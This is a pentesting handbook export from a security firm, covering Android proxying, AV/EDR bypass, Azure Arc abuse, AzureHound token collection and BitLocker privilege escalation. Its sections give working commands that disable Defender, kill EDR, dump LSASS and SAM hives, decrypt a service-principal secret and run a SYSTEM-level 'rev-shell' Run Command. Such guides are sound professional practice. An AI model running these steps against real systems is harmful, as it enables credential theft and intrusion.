erlaubt mit Skype-Usern zu kommunizieren. ![bd55fdeea6c643a87c85ac47b4af94da.png](/assets/bd55fdeea6c643a87c85ac47b4af94da.png) # Andere Lösungsvorschläge? Geht das besser? Habt ihr Feedback? [Schreibt uns!](/contact-us.md) --- --- url: 'https://handbook.syslifters.com/pentesting-manual/mobile/android-emulation.md' description: >- Set up Android Studio emulators for mobile testing, including proxying and CA certificates. --- # Android emulation For emulating Android devices, you can use Android Studio. You can create virtual devices there, but do not launch the emulator from the UI (functionalities are limited if you do this). Use emulator.exe from the command line instead. Devices with Google Play services are not rooted. You cannot add certificates (to system CA store) or do anything which requires root permissions. You can, however, not install apps from Google Play store on devices without Google Play services. You can use the APKPure store which mirrors apps from Google Play. ## Starting the virtual device Android Studio installs an `emulator.exe` into `C:\Users\{user}\AppData\Local\Android\Sdk\emulator\`. You can list your available (already created) devices using: ``` > .\emulator.exe -list-avds Pixel_3a_API_33 Pixel_3a_XL_API_33 ``` Start your device using: `.\emulator.exe -avd Pixel_3a_XL_API_33 -writable-system -http-proxy 127.0.0.1:8080` ## Install user certificate 1. Export CA from Burp 2. Push certificate to device: `.\adb.exe push "cacert.der" "/sdcard/Download/cacert.der"` 3. Import via settings 4. Chrome now trusts this certificate 5. Most other apps don't ## Install system certificate (works until Android 14 / API level 34) 1. Use `adb root` to escalate privileges 2. `adb remount`, `adb reboot` 3. `adb root` 4. ...and `adb shell` to get a shell 5. Remount system for r/w permissions: `mount -o rw,remount /system` 6. Copy your certificate file * **Source**: `/data/misc/user/0/cacerts-added/` or `/data/misc/keychain/cacerts-added` * **Destination**: `/system/etc/security/cacerts` 7. If your app respects the system proxy and system certificates, you are done now. * Some apps (e.g., created with Flutter) don't respect the system certificate. ## Install system certificate on newer API levels See [pwlin’s notes](https://gist.github.com/pwlin/8a0d01e6428b7a96e2eb?permalink_comment_id=4829387#gistcomment-4829387), but we haven’t tried it yet. ## Pull an APK from a phone with Google Play 1. Check if your emulated device is recognized by adb: `.\adb.exe devices` 2. Get the package name of the app: `.\adb.exe shell pm list packages` 3. Get the location of the APK files: `.\adb.exe shell pm path com.your.app` 4. Pull the APK files from the phone * `.\adb.exe pull /data/app/~~nwih7hvni7lEqdx1mZcyqw==/com.your-app-sirLqnpMMFiaoIFpF1F6lA==/split_config.en.apk .` * If there are multiple files, you can use: `adb shell pm path com.your.app | sed 's/package://g' | xargs -L 1 adb pull` ## Install the APK on the rooted device `.\adb.exe install-multiple base.apk split_config.en.apk split_config.x86_64.apk split_config.xxhdpi.apk` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/ansible-automation-platform.md description: >- How to assess Red Hat Ansible Automation Platform security using the aap-audit tool and Red Hat hardening guidance. --- # Ansible Automation Platform (AAP) audit [Red Hat Ansible Automation Platform](https://www.redhat.com/en/technologies/management/ansible) (AAP) is a web-based control plane for Ansible: Gateway, Automation Controller, Automation Hub, and Event-Driven Ansible. During engagements it often holds high-value assets such as credentials, inventory, job output, and execution environments. ## Hardening baseline Red Hat documents secure deployment and configuration in the [AAP 2.6 secure assembly and hardening guide](https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/secure-assembly_hardening_aap). Use the guide that matches the customer's deployed major version when validating patch level and platform settings. ## Automated audit: aap-audit [Syslifters/aap-audit](https://github.com/Syslifters/aap-audit) collects evidence from Gateway, Controller, and Hub APIs, runs built-in checks, and writes a structured report. Use a system administrator or system auditor account. ```bash python aap_audit.py --host aap.example.com --user auditor --password "$PASSWORD" --collect-jobs --collect-collections ``` ## Manual follow-up The script does not scan job output or collections for secrets. With `--collect-jobs`, it downloads job output at debug verbosity (3+) where sensitive data often appears. Search `jobs/` for keys, tokens, passwords, and JWTs; run a secret scanner such as [TruffleHog](https://github.com/trufflesecurity/trufflehog). With `--collect-collections`, review content for connection strings and similar. When `controller.json` is present, also check `STDOUT_MAX_BYTES_DISPLAY` (high values expose more in the UI), `ALLOW_JINJA_IN_EXTRA_VARS` (`always` is critical; prefer `never`), and whether customer playbooks use `no_log: true` on tasks that handle secrets. ## Manual testing angles Beyond the automated checks, additional tests and audits still apply: * Authentication: SSO misconfiguration, local fallback accounts, session and OAuth token lifetime, MFA coverage for privileged roles. * Authorization: organization and team RBAC, whether org admins can see users/credentials outside their scope, API token scopes (read vs write). * Supply chain: who can publish to Automation Hub or git, whether execution environments pull from trusted registries, collection signing and namespace ownership. * Job execution: ad-hoc command allow lists, privilege escalation via extra vars / Jinja, hybrid mesh nodes executing outside the managed perimeter. * Information disclosure: job stdout in the UI, verbose logging, backup and support bundle exports. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/defense-evasion/antivirus-edr.md description: >- Techniques for disabling, weakening or bypassing AV/EDR (Windows Defender and third-party products) on hosts during AD assessments. --- # Antivirus & EDR ## Disable Windows Defender ```powershell Set-MpPreference -DisableRealtimeMonitoring $true New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force # Reboot ``` …or add an exclusion for `C:\`. ### Disable Defender via Windows Recovery Environment (WinRE) Boot into the advanced startup options and start **Command Prompt**. If Windows Recovery only shows limited options and you can’t select **Advanced options → Command Prompt**, WinRE may be disabled. Check whether the recovery environment is enabled: ```powershell reagentc /info ``` Example output: ```powershell Windows Recovery Environment (Windows RE) and system reset configuration Information: Windows RE status: Disabled Windows RE location: Boot Configuration Data (BCD) identifier: 2b278eaf-744a-11ef-a7e6-58cdc9cbe6b4 Recovery image location: Recovery image index: 0 Custom image location: Custom image index: 0 REAGENTC.EXE: Operation Successful. ``` To enable WinRE, you can use: ```powershell reagentc /enable ``` If this fails with a message like "Windows RE cannot be enabled when BitLocker is enabled on this drive", disable BitLocker first, run `reagentc /enable`, and then re-enable BitLocker. After that, boot into the advanced startup options again and disable Defender as needed. In the WinRE command prompt, switch to the system drive with: ```powershell C: ``` Then rename the relevant Windows Defender directories as required. Directories to rename: ```powershell C:\Program Files\Windows Defender C:\Program Files\Windows Defender Advanced Threat Protection C:\Program Files (x86)\Windows Defender C:\ProgramData\Microsoft\Windows Defender C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection ``` Reboot: ```powershell exit # then choose "Continue" ``` ## Bypass third-party EDR When a third-party EDR is in scope, test the techniques below. The examples here are from an engagement against **FortiEDR**, but the same patterns generalize to other products. ### Kill EDR processes from user space Some EDR products fail to protect their own user- and kernel-mode processes against a tool that loads its own signed kernel driver. We used [System Informer](https://systeminformer.sourceforge.io/) (formerly *Process Hacker*) to load its kernel driver, terminate every EDR user-mode and kernel-mode process, and then renamed the EDR executables on disk so the watchdog could not restart them. After that, the host is effectively unprotected for the remainder of the session. Workflow: 1. Run System Informer as Administrator and let it load its kernel driver. 2. Terminate every EDR-related user-mode and kernel-mode process. 3. Rename the EDR program files (e.g., `C:\Program Files\Fortinet\FortiEDR\*.exe`) to make the kill permanent. ### Dump LSASS LSASS caches credentials, so a successful dump usually yields NT hashes and sometimes cleartext passwords, which is enough to pivot. EDR products reliably detect the common approaches (`MiniDumpWriteDump`, `comsvcs.dll MiniDump`) but sometimes miss the obvious ones: #### LSASS dump via System Informer After loading its kernel driver, System Informer can create a full minidump of `lsass.exe` directly from its GUI (right-click → *Create dump file*): ![LSASS dump via System Informer](/images/edr-bypass/lsass-dump-system-informer.png){width="auto"} #### LSASS dump via ProcDump (`-r` clone) [ProcDump](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) from the Sysinternals Suite can dump LSASS, but most EDRs block the direct path. The `-r` flag dumps a *reflected clone* of the process instead of the live process, which might slip past the EDR hooks: ```cmd procdump.exe -r -ma lsass.exe lsass.dmp ``` Against FortiEDR, the direct dump was blocked but the clone dump succeeded: ![LSASS clone dump via ProcDump](/images/edr-bypass/lsass-procdump-clone.png){width="auto"} #### Full RAM dump via winpmem EDRs rarely block kernel-level memory acquisition tools used for forensics and incident response. [WinPmem](https://github.com/Velocidex/WinPmem) (or DumpIt) grabs the entire physical memory, which contains LSASS along with every other in-memory secret: ```cmd winpmem_mini_x64_rc2.exe ramdump.dmp ``` The image is large but can be carved offline with Volatility or MemProcFS to extract LSASS contents and cached credentials. ![Full RAM acquisition via WinPmem](/images/edr-bypass/full-ram-dump-winpmem.png){width="auto"} ### Dump SAM and SYSTEM hives EDR products are loud about LSASS but might ignore on-box `reg.exe save` of the SAM and SYSTEM hives. These give the local account hashes, which are reusable for lateral movement when LAPS is not deployed or not enforced everywhere: ```cmd reg.exe save hklm\sam c:\sam reg.exe save hklm\system c:\system ``` ![SAM and SYSTEM hive dump via reg.exe](/images/edr-bypass/sam-dump-reg.png){width="auto"} Crack the local administrator hashes offline (e.g., with `secretsdump.py` or `samdump2`) and reuse them for lateral movement. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/wordlists/api-endpoints.md description: Links and quick workflow for API route discovery wordlists/tools. --- # API endpoints wordlists * Stripped `api`, `v1`-`v4`, uniqued: [`api-wordlist.txt`](/assets/api-wordlist.txt) * ```bash git clone https://github.com/PandaSt0rm/webfuzz_api.git cd webfuzz_api python3 -m venv .venv_webfuzzapi source .venv_webfuzzapi/bin/activate pip3 install -r requirements.txt python3 api_fuzzer.py http://endpoint.local ``` --- --- url: 'https://handbook.syslifters.com/about-us/aron.md' description: >- Profile page and CV for Aron Molnar with contact details, experience, and certifications. --- +43 660 923 40 60 (also over Signal Messenger) aron@syslifters.com ( S/MIME [cer](/assets/aron.cer)/[pem](/assets/aron.pem){target="\_blank" rel="noreferrer"}) * **since 04/2022** Co-Founder and Executive Director of Syslifters GmbH * **since 2023** Lecturer at the University of Applied Sciences St. Poelten * IT Security * **2022-2025** Lecturer at the University of Applied Sciences Vienna * Cybersecurity in journalism and media management * **2018-2022** Head of Professional Services at A1 Digital International GmbH * Teamlead Pentesting * Teamlead Offensity Security Monitoring * **2016-2018** IT Security-Expert at A1 Telekom Austria AG * Security Intelligence Center * **2016** Bundesministerium für Inneres, Cyber Security Center * **2014-2016** Co-Founder Café "[bröselei](https://www.broeselei.at/){ target="blank" }", Vienna * **2013-2014** Pentester at XSEC infosec GmbH * **2010-2011** Volunteer at CONCORDIA Sozialprojekte * Outreaches in Romania and Moldova * Street children projects * "Stadt der Kinder", Moldova * Coordination of the reconstruction of a village after floods * **2009-2010** Austrian Armed Forces * One-year Voluntary * NBC defence - University of Applied Sciences St. Pölten * Information Security (DI) * IT-Security (BSc, Focus: Malware analysis & IT forensics) - Check Point Certified Security Administrator - Cisco Certified Network Associate (CCNA), valid until 08/2015 - ITIL v3 Foundation Certificate - AccessData Certified Examiner for FTK Toolkit, valid until 04/2013 * Winner of the European Cyber Security Challenge 2015 * Three times participation (2013-2015) in the finals of the Cyber Security Challenge * Erasmus Intensive Programme Belgium for Steganography and Digital Investigations 2012, XIOS-University Hasselt --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/aron.md' description: >- Profilseite und Lebenslauf von Aron Molnar mit Kontakt, Erfahrung und Zertifikaten. --- +43 660 923 40 60 (auch über Signal Messenger) aron@syslifters.com ( S/MIME [cer](/assets/aron.cer)/[pem](/assets/aron.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Mitgründer und Geschäftsführer der Syslifters GmbH * **seit 2023** Lektor an der Fachhochschule St. Pölten * IT Security * **2022-2025** Lektor an der Fachhochschule Wien * Cybersecurity im Studiengang Journalismus und Medienmanagement * **2018-2022** Head of Professional Services bei A1 Digital International GmbH * Teamlead Pentesting * Teamlead Offensity Security Monitoring * **2016-2018** IT Security-Experte bei A1 Telekom Austria AG * Security Intelligence Center * **2016** Bundesministerium für Inneres, Cyber Security Center * **2014-2016** Mitbegründer Café "[bröselei](https://www.broeselei.at/){ target="blank" }", Wien * **2013-2014** Pentester bei XSEC infosec GmbH * **2010-2011** Voluntär bei CONCORDIA Sozialprojekte * Einsätze in Rumänien und Moldawien * Straßenkinderprojekte * "Stadt der Kinder", Moldawien * Koordination Wiederaufbau eines Dorfes nach Hochwasser * **2009-2010** Österreichisches Bundesheer * Einjährig Freiwillig * ABC-Abwehr - Fachhochschule St. Pölten * Information Security (DI) * IT-Security (BSc, Schwerpunkt Malwareanalyse & IT-Forensik) - Check Point Certified Security Administrator - Cisco Certified Network Associate (CCNA), gültig bis 08/2015 - ITIL v3 Foundation Certificate - AccessData Certified Examiner for FTK Toolkit, gültig bis 04/2013 * Sieger der European Cyber Security Challenge 2015 * Dreimalige Teilname (2013-2015) am Finale der Cyber Security Challenge * Erasmus Intensive Programme Belgium for Steganography and Digital Investigations 2012, XIOS-Universität Hasselt --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/dotnet-endpoints.md description: Common ASP.NET MVC / Identity endpoints and files to probe during testing. --- # ASP.NET endpoint checklist ```powershell Account/AccessDenied Account/ConfirmEmail Account/ConfirmEmailChange Account/EmailExists/?emailAdresse= Account/ExternalLogin Account/ExternalLoginCallback Account/ExternalLoginConfirmation Account/ForgotPassword Account/ForgotPasswordConfirmation Account/Lockout Account/LogOff Account/Login Account/LoginWith2fa Account/LoginWithRecoveryCode Account/Logout Account/Manage Account/Manage/AddPhoneNumber Account/Manage/ChangePassword Account/Manage/DeletePersonalData Account/Manage/Disable2fa Account/Manage/DisableTwoFactorAuthentication Account/Manage/DownloadPersonalData Account/Manage/Email Account/Manage/EnableAuthenticator Account/Manage/EnableTwoFactorAuthentication Account/Manage/GenerateRecoveryCode Account/Manage/GenerateRecoveryCodes Account/Manage/Index Account/Manage/Layout Account/Manage/LinkLogin Account/Manage/LinkLoginCallback Account/Manage/ManageLogins Account/Manage/ManageNav Account/Manage/ManageNavPages Account/Manage/PersonalData Account/Manage/PesonalData Account/Manage/RemoveLogin Account/Manage/RemovePhoneNumber Account/Manage/ResetAuthenticator Account/Manage/ResetAuthenticatorKey Account/Manage/SetPassword Account/Manage/ShowRecoveryCodes Account/Manage/TwoFactorAuthentication Account/Manage/VerifyPhoneNumber Account/OTFUUserExists Account/Register Account/RegisterAccount Account/RegisterConfirmation Account/ResendEmailConfirmation Account/ResetPassword Account/ResetPasswordConfirmation Account/SendCode Account/StatusMessage Account/UseRecoveryCode Account/VerifyAuthenticatorCode Account/VerifyCode Admin Admin/Create Administration Antiforgery/FlushAsyncLogin Antiforgery/Login Antiforgery/LoginWithRedirectResultFilter Employee Employee/Create Employee/DuplicateAntiforgeryToken Role Role/Create Users/Create account/loginfido2mfa appsettings.Development.json appsettings.json app.db app.db-shm app.db-wal Program.cs Startup.cs msdeploy.axd web.config Machine.config package.json .npmrc ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/viewstate.md description: ViewState deserialization background and tooling references. --- # ASP.NET ViewState * * If you have an ASP.NET webpage, chances are it uses ViewState. These states are deserialized, which can result in RCE (e.g., Exchange CVE-2020-0688). Tools: * * --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/enumeration/attack-path-data-collection.md description: >- Collect Entra ID and Azure resource data for BloodHound attack-path enumeration with AzureHound. --- # Attack-path data collection Collect the Entra ID and Azure identity / resource graph for offline attack-path analysis in BloodHound. Our tool of choice is [AzureHound](https://github.com/SpecterOps/AzureHound), which enumerates tenants, subscriptions, users, groups, role assignments, applications, service principals, devices, key vaults, virtual machines, and the relationships between them, and writes a JSON file that can be ingested into BloodHound CE / Enterprise. ## AzureHound AzureHound needs a token (or refresh token) for the target tenant. The recommended approach during an engagement is the device code flow. We authenticate interactively as the assessment account on their own browser/device, then hand the resulting refresh token to `azurehound.exe`. No password is ever typed into the host running the collector. ### Prerequisites * A user account in the target tenant with at least standard directory read permissions (Global Reader is ideal). * Outbound HTTPS to `login.microsoftonline.com` and `graph.microsoft.com` from the host running AzureHound. * AzureHound binary. Pull a release from [the GitHub repo](https://github.com/SpecterOps/AzureHound/releases). ### Authentication: device code flow We use the public Azure PowerShell client ID (`1950a258-227b-4e31-a9cf-717495945fc2`), which already has the directory-read scopes pre-consented in most tenants, so we don't have to admin-consent a fresh app. > Device code flow is also a known phishing primitive. The same three steps below, sent to a victim, are the basis of device code phishing. When using it for legitimate enumeration, only ever paste the device code into a browser you control. #### Step 1: Request a device code ```powershell $body = @{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" } $Headers = @{ "User-Agent" = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" } $authResponse = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` -Headers $Headers ` -Body $body $authResponse ``` The response contains a `user_code` and a `verification_url` (`https://microsoft.com/devicelogin`). Browse to the URL, enter the code, and sign in as the assessment user. #### Step 2: Poll for tokens After completing sign-in in the browser, exchange the device code for tokens: ```powershell $body = @{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" "code" = $authResponse.device_code } $Tokens = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` -Headers $Headers ` -Body $body $Tokens ``` Expected (truncated) response: ```text token_type : Bearer scope : Application.ReadWrite.All AppRoleAssignment.ReadWrite.All AuditLog.Read.All DelegatedPermissionGrant.ReadWrite.All Directory.AccessAsUser.All Group.ReadWrite.All User.Read.All expires_in : 4212 ext_expires_in : 4212 resource : https://graph.microsoft.com access_token : refresh_token : id_token : ``` #### Step 3: Save the refresh token AzureHound takes a refresh token so it can mint fresh access tokens as collection runs. ```powershell $token = "" ``` ### Run AzureHound ```powershell .\azurehound.exe -r $token list --tenant "example.onmicrosoft.com" -o output.json ``` * `-r $token`: refresh token from step 3. * `--tenant`: the target tenant's verified domain (e.g. `example.onmicrosoft.com`) or tenant ID GUID. * `-o output.json`: collector output, ready to ingest into BloodHound. Collection time scales with directory size, it may take longer if there are many subscriptions / resource groups to walk. ### Ingest into BloodHound * BloodHound CE: drop `output.json` into the file ingest UI. * For attack-path queries combining on-prem AD + Entra (e.g. on-prem admins synced to a Global Admin cloud role), make sure both the SharpHound and AzureHound datasets are imported into the same instance. See [AD enumeration / BloodHound](/pentesting-manual/active-directory/enumeration/ad-enumeration#bloodhound). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/lateral-movement/azure-arc.md description: >- Abusing Azure Arc as a bidirectional pivot between on-premises Active Directory and Azure, with an audit checklist for engagements. --- # Azure Arc [Azure Arc](https://learn.microsoft.com/en-us/azure/azure-arc/) extends Azure management to servers, Kubernetes clusters, and databases running outside of Azure: on-prem, on the customer's other clouds, or at the edge. From a pentest perspective it's interesting because Arc is one of the few services that creates a bidirectional bridge between Azure and the on-prem AD environment: a compromised onboarding service principal pivots from AD to the cloud, and a compromised Azure RBAC role on Arc resources pivots from the cloud back down to `NT AUTHORITY\SYSTEM` on every Arc-connected server. This page covers both directions and the audit angles for each. ## On-prem to Azure: the GPO onboarding service principal Customers with many on-prem servers usually onboard them to Arc via Microsoft's [GPO-based deployment toolkit](https://learn.microsoft.com/en-us/azure/azure-arc/servers/onboard-group-policy-powershell). The toolkit ships three scripts that get dropped on a network share (commonly `\\\ArcOnboardShare\AzureArcDeploy`): * `DeployGPO.ps1`: run on a DC, creates the onboarding GPO and stages the other files. * `EnableAzureArc.ps1`: pushed to each in-scope machine by the GPO; installs the Connected Machine agent and registers the host. * `AzureArcDeployment.psm1`: thin DPAPI-NG wrapper used by both scripts. The toolkit needs a service principal to authenticate to Azure, so the operator passes `-ServicePrincipalClientId` / `-ServicePrincipalSecret` to `DeployGPO.ps1`. The secret can't be stored on the share in cleartext (every machine would be able to read it), so `DeployGPO.ps1` encrypts it with DPAPI-NG into a file called `encryptedServicePrincipalSecret` next to a plain-text `ArcInfo.json` that holds `TenantId`, `SubscriptionId`, `ResourceGroup`, `Location`, and the SP's `ClientId`. ### The flaw The DPAPI-NG protection descriptor that `DeployGPO.ps1` uses by default is: ```powershell $descriptor = "SID= OR SID=" $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` That descriptor means any computer account in `Domain Computers` (i.e. every joined machine, including freshly created ones) can decrypt the secret. Combined with the default `ms-DS-MachineAccountQuota = 10`, a low-privileged domain user can create their own machine account, authenticate as it, and unwrap the secret. The technique was published by XYBYTES (full write-up at [Abusing Azure Arc: From Service Principal Exposed to Reverse Shell](https://xybytes.com/azure/Abusing-Azure-Arc/), [BSides Leeds 2024 talk](https://youtu.be/KtRYn5GA4iU)). ### Exploit chain 1. Find the onboarding share. Common names: `ArcOnboardShare`, `AzureArcDeploy`. SharpHound / BloodHound, share enumeration on the DC, or `Get-SmbShare` from any joined host all work. The marker file is `encryptedServicePrincipalSecret` accompanied by `ArcInfo.json` and `AzureArcDeployment.psm1`. 2. Create a machine account with [Powermad](https://github.com/Kevin-Robertson/Powermad) (default MAQ is 10): ```powershell Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount fake01 -Password (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force) ``` 3. Get a TGT for the new machine (Rubeus pass-the-ticket, or `runas /netonly`): ```powershell Rubeus.exe asktgt /user:fake01$ /password:'P@ssw0rd!' /domain:example.com /ptt ``` 4. Decrypt the secret. With a machine-account TGT in memory, DPAPI-NG happily unwraps: ```powershell Import-Module \\dc01\ArcOnboardShare\AzureArcDeploy\AzureArcDeployment.psm1 $encryptedSecret = Get-Content \\dc01\ArcOnboardShare\AzureArcDeploy\encryptedServicePrincipalSecret $spSecret = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) ``` [`SecretManagement.DpapiNG`](https://github.com/jborean93/SecretManagement.DpapiNG) is a non-Windows alternative. 5. Pull tenant / subscription / SP IDs from `ArcInfo.json` on the same share. 6. Authenticate to Azure with the recovered service principal: ```bash az login --service-principal -u -p --tenant az account set --subscription ``` ### Where it leads If the SP was scoped per least-privilege (only `Azure Connected Machine Onboarding`, on the single onboarding resource group), the blast radius stops at "can enroll new Arc machines". The XYBYTES write-up specifically calls out the bad-but-common case where the SP also has `Azure Connected Machine Resource Administrator`, which translates into Run Command on every Arc-enrolled host (see the next section). ## Azure to on-prem: Run Command on Arc-connected machines The Arc Connected Machine agent (`himds`) runs as `LocalSystem` on every onboarded server. Any Azure principal with [appropriate RBAC](https://learn.microsoft.com/en-us/azure/azure-arc/servers/security-overview#identity-and-access-control) on the Arc resource can invoke `Run Command` and execute arbitrary scripts as `SYSTEM`: ```bash az connectedmachine run-command create \ --name "rev-shell" \ --machine-name \ --resource-group \ --location \ --script "powershell -EncodedCommand " ``` Roles that grant this: | Role | Run Command | Notes | | --- | --- | --- | | `Azure Connected Machine Resource Administrator` | yes | The role XYBYTES's bad SP had; pure Arc admin. | | `Virtual Machine Contributor` (assigned at the Arc machine scope) | yes | Common mistake when admins reuse VM RBAC for Arc. | | `Contributor` / `Owner` on the subscription/RG | yes | The obvious one. | This is what closes the loop: AD foothold, Arc SP, Run Command on every Arc host the SP can see, `SYSTEM` shells across the on-prem fleet. The same primitive applies starting from a regular Azure breach: if an attacker compromises an Azure identity with one of the above roles, every Arc-connected on-prem server is reachable from the cloud. ## Managed identity hijack on Arc hosts When an Arc-enabled server is granted a [system- or user-assigned managed identity](https://learn.microsoft.com/en-us/azure/azure-arc/servers/managed-identity-authentication), the agent serves tokens on the loopback IMDS-style endpoint at `http://127.0.0.1:40342`. The endpoint requires a challenge file readable only by SYSTEM/admins, but anyone with local administrator on the Arc host can request the managed identity's access token and use it against Azure Resource Manager / Graph from off-box. Worth flagging when the customer assigns Arc managed identities broad RBAC (e.g. `Contributor` at subscription scope). ## Audit checklist * \[ ] Locate the Arc onboarding share (commonly `\\\ArcOnboardShare\AzureArcDeploy`). Verify NTFS / SMB permissions are restricted to the machines that genuinely need to onboard, not `Authenticated Users` / `Domain Computers`. * \[ ] Review the `DeployGPO.ps1` parameters actually used: the DPAPI-NG descriptor should reference a dedicated Arc-onboarding security group (containing only the hosts that need to onboard), not `Domain Computers`. * \[ ] Check `ms-DS-MachineAccountQuota`. Default `10` lets any user create machine accounts. Ideally `0` for normal users, with delegation to a dedicated admin group for legitimate join workflows. * \[ ] Enumerate roles assigned to the onboarding service principal. Expected: `Azure Connected Machine Onboarding` only, scoped to the onboarding resource group. Red flag: `Azure Connected Machine Resource Administrator`, `Virtual Machine Contributor`, `Contributor`, or `Owner` at subscription scope. * \[ ] Review SP credential lifetime: client secret instead of certificate, no expiry, no rotation. * \[ ] Pull the list of Arc-connected servers (`az connectedmachine list` or AzureHound) and their assigned managed identities. Cross-check the managed identity's RBAC; a `Contributor`-level identity on a low-trust Arc host is effectively an SP exposure. ## References * [Abusing Azure Arc: From Service Principal Exposed to Reverse Shell - XYBYTES](https://xybytes.com/azure/Abusing-Azure-Arc/) ([BSides Leeds 2024 talk](https://youtu.be/KtRYn5GA4iU)) * [Azure Arc - Connect machines using a Group Policy Object - Microsoft Learn](https://learn.microsoft.com/en-us/azure/azure-arc/servers/onboard-group-policy-powershell) * [Azure Arc-enabled servers security overview - Microsoft Learn](https://learn.microsoft.com/en-us/azure/azure-arc/servers/security-overview) * [Authenticate with a managed identity on Arc-enabled servers - Microsoft Learn](https://learn.microsoft.com/en-us/azure/azure-arc/servers/managed-identity-authentication) * [Powermad - new-machineaccount and MAQ abuse](https://github.com/Kevin-Robertson/Powermad) * [SecretManagement.DpapiNG (DPAPI-NG from non-Windows)](https://github.com/jborean93/SecretManagement.DpapiNG) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/enumeration/azure-resource-configuration-audit.md description: >- Audit Azure subscription (resource / control plane) configuration with ScoutSuite to surface storage, NSG, Key Vault, and SQL misconfigurations. --- # Azure resource configuration audit Sweep an Azure subscription's resource (control) plane for misconfigurations: storage account public access, NSG hygiene, Key Vault soft-delete, SQL firewall rules, exposed managed disks, etc. Our tool of choice is [ScoutSuite](https://github.com/nccgroup/ScoutSuite) (NCC Group), a multi-cloud security audit tool that fingerprints the configuration of an Azure subscription (or AWS / GCP / OCI / Alibaba) and writes an HTML report grouped by service and severity. ## ScoutSuite ### Install ```bash python3 -m venv venv && source venv/bin/activate pip install scoutsuite ``` ### Run against Azure Two common auth modes; use whichever fits the engagement scope. Reuse the operator's `az login` session: ```bash az login --tenant scout azure --cli --report-dir scout-report ``` Service principal (unattended, e.g. when working from a jump box): ```bash scout azure --service-principal \ --tenant \ --client-id \ --client-secret \ --subscriptions \ --report-dir scout-report ``` Use `--subscriptions [ ...]` to restrict scope, or `--all-subscriptions` for everything the identity can read. Add `--no-browser` on a headless host to skip the auto-open of the report. ### Required permissions `Reader` at subscription scope is enough for the configuration audit and is what we usually request. Some controls (Defender for Cloud findings, Activity Log queries) additionally need `Security Reader` and `Log Analytics Reader`. ScoutSuite logs each API permission denial it hits, so missing roles surface in the run output. ### Output The HTML report is written to `scout-report/scoutsuite-results/` and auto-opens unless `--no-browser` is set. The dashboard is the entry point; the per-service pages list each finding with severity, affected resource, and a remediation link to Microsoft Learn. The raw JSON in the same folder (`scoutsuite_results_azure-.js`) is what you grep for during reporting. --- --- url: 'https://handbook.syslifters.com/before-pentests.md' description: >- What to expect before a pentest - scoping, timeboxing, permission to attack, lead times, and preparation steps. --- # Before our pentests * You tell us in a short conversation which systems you want to have tested and for what purpose. * We estimate the effort in person days and submit an offer. * The period of our tests is limited to this number of person-days. We cannot guarantee that that we will be able to detect all security vulnerabilities. If real attackers invest more time, they could find vulnerabilities that we may have missed. * We only charge for services actually provided. If it turns out that we need less time, we charge accordingly less. * Our lead time is usually about two months. For urgent jobs, we do our best to find an early deadline. * We need the list of target systems ("scope") at least three working days before the agreed test. This can be IP addresses, domains, subdomains, or similar. * The submission implies the granting of a Permission to Attack ("PtA"). Without PtA, certain attacks could be illegal. We ask you to you to ensure that you are actually allowed to grant a PtA for the target systems (e.g. you are the owner of the systems). * Please inform all your employees and colleagues who are to be involved in the assignment about the penetration test at an early stage. Those who are particularly interested in being involved is usually the employee representation (works council). * We will not carry out any measures that intentionally endanger the availability of your systems. * It can still happen that systems become unavailable. We will be available at all times during the tests if you notice any problems. * Please ensure that the systems to be tested can be restored at any time (e.g. via backups), should something happen. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/bitlocker.md description: >- Local privilege escalation by booting into WinRE with a BitLocker recovery key and tampering with the OS. --- # BitLocker If we have access to a BitLocker recovery key for the machine, we can boot into the Windows Recovery Environment (WinRE), unlock the volume and tamper with the OS to add our user to the local `Administrators` group. ## Recovering the key via hybrid identity (Entra ID) In most engagements the assigned account is a hybrid identity (synced from on-prem AD to Entra ID) and the workstation is Entra-joined / hybrid-joined and registered as *owned* by that user. By default, the Entra ID tenant allows users to retrieve the BitLocker recovery keys of devices they own (the *Users can recover BitLocker keys for their owned devices* setting is On by default). Check the join state of the device: ```powershell dsregcmd /status ``` Look for `AzureAdJoined : YES` / `DomainJoined : YES` and a `DeviceId`. With the user's Entra credentials, the recovery key is then available at: * : pick the device, then *View BitLocker keys* * for personal/MSA scenarios If the device is only Intune/Entra-managed (no on-prem join) the key may also be exposed in the *Company Portal*. ## Booting into WinRE and unlocking the volume 1. Reboot the host and force entry into WinRE (hold *Shift* while clicking *Restart*, or interrupt the boot three times). 2. Navigate to *Troubleshoot* > *Advanced options* > *Command Prompt*. 3. Provide the recovery key when prompted, or unlock from the shell: ```cmd manage-bde -status manage-bde -unlock C: -RecoveryPassword XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX-XXXXXX ``` In WinRE the system drive is often mapped to `D:` (or another 